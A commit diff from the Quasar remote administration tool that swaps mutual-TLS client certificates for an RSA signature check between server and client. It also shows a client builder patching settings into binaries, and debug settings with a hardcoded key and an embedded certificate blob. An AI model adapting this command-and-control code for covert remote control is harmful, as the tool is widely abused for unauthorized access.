Remove client certificates and use different way for client authentication

This commit is contained in:
MaxXor 2018-11-04 22:53:14 +01:00
parent b2916386c0
commit a7dc36ae18
10 changed files with 108 additions and 104 deletions

View File

@ -1,17 +1,17 @@
using System;
using System.Security.Cryptography.X509Certificates;
using Quasar.Common.Cryptography;
using Quasar.Common.Helpers;
#if !DEBUG
using Quasar.Common.Cryptography;
#endif
using System;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Windows.Forms;
namespace Quasar.Client.Config
{
public static class Settings
{
#if DEBUG
public static string VERSION = System.Windows.Forms.Application.ProductVersion;
public static string VERSION = Application.ProductVersion;
public static string HOSTS = "localhost:4782;";
public static int RECONNECTDELAY = 500;
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
@ -27,17 +27,14 @@ public static class Settings
public static string ENCRYPTIONKEY = "-.)4>[=u%5G3hY3&";
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";
public static string CLIENTCERTIFICATESTR = "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";
public static X509Certificate2 CLIENTCERTIFICATE;
public static string SERVERCERTIFICATESTR = CLIENTCERTIFICATESTR; // dummy certificate, it's not used in production
public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static bool Initialize()
{
CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(CLIENTCERTIFICATESTR));
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(SERVERCERTIFICATESTR));
FixDirectory();
return true;
}
@ -58,8 +55,7 @@ public static bool Initialize()
public static string ENCRYPTIONKEY = "";
public static string TAG = "";
public static string LOGDIRECTORYNAME = "";
public static string CLIENTCERTIFICATESTR = "";
public static X509Certificate2 CLIENTCERTIFICATE;
public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
@ -77,10 +73,10 @@ public static bool Initialize()
MUTEX = aes.Decrypt(MUTEX);
STARTUPKEY = aes.Decrypt(STARTUPKEY);
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(CLIENTCERTIFICATESTR)));
SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
FixDirectory();
return true;
return VerifyHash();
}
#endif
@ -101,5 +97,20 @@ static void FixDirectory()
DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
}
static bool VerifyHash()
{
try
{
var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
Convert.FromBase64String(SERVERSIGNATURE));
}
catch (Exception)
{
return false;
}
}
}
}
}

View File

@ -176,12 +176,10 @@ public ReverseProxyClient[] ProxyClients
}
}
private SslStream _stream;
/// <summary>
/// The client certificate.
/// The stream used for communication.
/// </summary>
private readonly X509Certificate2 _clientCertificate;
private SslStream _stream;
/// <summary>
/// The server certificate.
@ -276,11 +274,9 @@ public ReverseProxyClient[] ProxyClients
/// <summary>
/// Constructor of the client, initializes serializer types.
/// </summary>
/// <param name="clientCertificate">The client certificate.</param>
/// <param name="serverCertificate">The server certificate.</param>
protected Client(X509Certificate2 clientCertificate, X509Certificate2 serverCertificate)
protected Client(X509Certificate2 serverCertificate)
{
_clientCertificate = clientCertificate;
_serverCertificate = serverCertificate;
_readBuffer = new byte[BUFFER_SIZE];
_tempHeader = new byte[HEADER_SIZE];
@ -306,8 +302,7 @@ protected void Connect(IPAddress ip, ushort port)
if (handle.Connected)
{
_stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
X509CertificateCollection col = new X509CertificateCollection {_clientCertificate};
_stream.AuthenticateAsClient(ip.ToString(), col, SslProtocols.Tls, false);
_stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls, false);
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
OnClientState(true);
}

View File

@ -24,8 +24,8 @@ public class QuasarClient : Client
private readonly HostsManager _hosts;
private readonly SafeRandom _random;
public QuasarClient(HostsManager hostsManager, X509Certificate2 clientCertificate, X509Certificate2 serverCertificate)
: base(clientCertificate, serverCertificate)
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
: base(serverCertificate)
{
this._hosts = hostsManager;
this._random = new SafeRandom();
@ -112,7 +112,8 @@ private void OnClientState(Client client, bool connected)
Username = WindowsAccountHelper.GetName(),
PcName = SystemHelper.GetPcName(),
Tag = Settings.TAG,
EncryptionKey = Settings.ENCRYPTIONKEY
EncryptionKey = Settings.ENCRYPTIONKEY,
Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE)
});
if (ClientData.AddToStartupFailed)

View File

@ -138,7 +138,7 @@ private static bool Initialize()
}) {IsBackground = true}.Start();
}
ConnectClient = new QuasarClient(hosts, Settings.CLIENTCERTIFICATE, Settings.SERVERCERTIFICATE);
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
return true;
}
else

View File

@ -11,7 +11,7 @@ public static string ComputeHash(string input)
using (SHA256Managed sha = new SHA256Managed())
{
data = sha.ComputeHash(data, 0, data.Length);
data = sha.ComputeHash(data);
}
StringBuilder hash = new StringBuilder();
@ -21,5 +21,13 @@ public static string ComputeHash(string input)
return hash.ToString().ToUpper();
}
public static byte[] ComputeHash(byte[] input)
{
using (SHA256Managed sha = new SHA256Managed())
{
return sha.ComputeHash(input);
}
}
}
}

View File

@ -43,5 +43,8 @@ public class ClientIdentification : IMessage
[ProtoMember(13)]
public string EncryptionKey { get; set; }
[ProtoMember(14)]
public byte[] Signature { get; set; }
}
}

View File

@ -2,12 +2,11 @@
using Mono.Cecil.Cil;
using Quasar.Common.Cryptography;
using Quasar.Common.Helpers;
using System;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Windows.Forms;
using Quasar.Server.Helper;
using Quasar.Server.Models;
using System;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using Vestris.ResourceLib;
namespace Quasar.Server.Build
@ -86,9 +85,15 @@ private void WriteSettings(AssemblyDefinition asmDef)
var aes = new Aes256(key);
var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
var clientCertificate = CertificateHelper.CreateCertificate("Quasar Client", caCertificate, 4096);
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important!
byte[] signature;
using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey)
{
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
}
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "Quasar.Client.Config.Settings")
@ -132,8 +137,8 @@ private void WriteSettings(AssemblyDefinition asmDef)
case 9: //LogDirectoryName
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName);
break;
case 10: //ClientCertificate
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(clientCertificate.Export(X509ContentType.Pkcs12)));
case 10: //ServerSignature
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
break;
case 11: //ServerCertificate
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));

View File

@ -378,15 +378,33 @@ private void BuildClient(object o)
builder.Build();
MessageBox.Show(this,
$"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!",
"Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
try
{
this.Invoke((MethodInvoker) delegate
{
MessageBox.Show(this,
$"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!",
"Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
});
}
catch (Exception)
{
}
}
catch (Exception ex)
{
MessageBox.Show(this,
$"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
MessageBoxButtons.OK, MessageBoxIcon.Error);
try
{
this.Invoke((MethodInvoker)delegate
{
MessageBox.Show(this,
$"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
MessageBoxButtons.OK, MessageBoxIcon.Error);
});
}
catch (Exception)
{
}
}
SetBuildState(true);
}

View File

@ -1,6 +1,10 @@
using Quasar.Common.Messages;
using System;
using Quasar.Common.Messages;
using System.Linq;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using Quasar.Common.Cryptography;
namespace Quasar.Server.Networking
{
@ -143,7 +147,20 @@ private bool IdentifyClient(Client client, ClientIdentification packet)
//if (Settings.ShowToolTip)
// client.Send(new GetSystemInfo());
#if !DEBUG
try
{
var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)),
CryptoConfig.MapNameToOID("SHA256"), packet.Signature);
}
catch (Exception)
{
return false;
}
#else
return true;
#endif
}
}
}

View File

@ -182,7 +182,7 @@ protected Client[] Clients
/// <summary>
/// The server certificate.
/// </summary>
private readonly X509Certificate2 _serverCertificate;
protected readonly X509Certificate2 ServerCertificate;
/// <summary>
/// The event to accept new connections asynchronously.
@ -215,7 +215,7 @@ protected Client[] Clients
/// <param name="serverCertificate">The server certificate.</param>
protected Server(X509Certificate2 serverCertificate)
{
_serverCertificate = serverCertificate;
ServerCertificate = serverCertificate;
TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
}
@ -274,9 +274,9 @@ private void AcceptClient(object s, SocketAsyncEventArgs e)
{
Socket clientSocket = e.AcceptSocket;
clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime);
sslStream = new SslStream(new NetworkStream(clientSocket, true), false, ValidateClientCertificate);
sslStream = new SslStream(new NetworkStream(clientSocket, true), false);
// the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket
sslStream.BeginAuthenticateAsServer(_serverCertificate, true, SslProtocols.Tls, false, EndAuthenticateClient,
sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticateClient,
new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint});
}
catch (Exception)
@ -319,12 +319,6 @@ private void EndAuthenticateClient(IAsyncResult ar)
{
con.Stream.EndAuthenticateAsServer(ar);
// only allow connection which are authenticated on both sides
if (!con.Stream.IsMutuallyAuthenticated)
{
throw new AuthenticationException("Client did not provide a client certificate.");
}
Client client = new Client(_bufferPool, con.Stream, con.EndPoint);
AddClient(client);
OnClientState(client, true);
@ -335,54 +329,6 @@ private void EndAuthenticateClient(IAsyncResult ar)
}
}
/// <summary>
/// Validates the client certificate by checking whether it has been signed by the server.
/// </summary>
/// <param name="sender">The sender of the callback.</param>
/// <param name="certificate">The client certificate to validate.</param>
/// <param name="chain">The X.509 chain.</param>
/// <param name="sslPolicyErrors">The SSL policy errors.</param>
/// <returns>Returns <value>true</value> when the validation was successful, otherwise <value>false</value>.</returns>
public bool ValidateClientCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
// for debugging don't validate client certificate
return true;
#else
// if client does not provide a certificate, don't accept connection
if (certificate == null) return false;
chain.Reset();
chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck;
chain.ChainPolicy.VerificationFlags = X509VerificationFlags.AllowUnknownCertificateAuthority;
chain.ChainPolicy.VerificationTime = DateTime.UtcNow;
chain.ChainPolicy.ExtraStore.Add(_serverCertificate);
chain.Build(new X509Certificate2(certificate));
bool result = true;
foreach (var status in chain.ChainStatus)
{
if (status.Status == X509ChainStatusFlags.UntrustedRoot)
{
// self-signed certificates with an untrusted root are valid.
continue;
}
else
{
if (status.Status != X509ChainStatusFlags.NoError)
{
// if there are any other errors in the certificate chain, the certificate is invalid.
result = false;
}
}
}
return result;
#endif
}
/// <summary>
/// Adds a connected client to the list of clients,
/// subscribes to the client's events.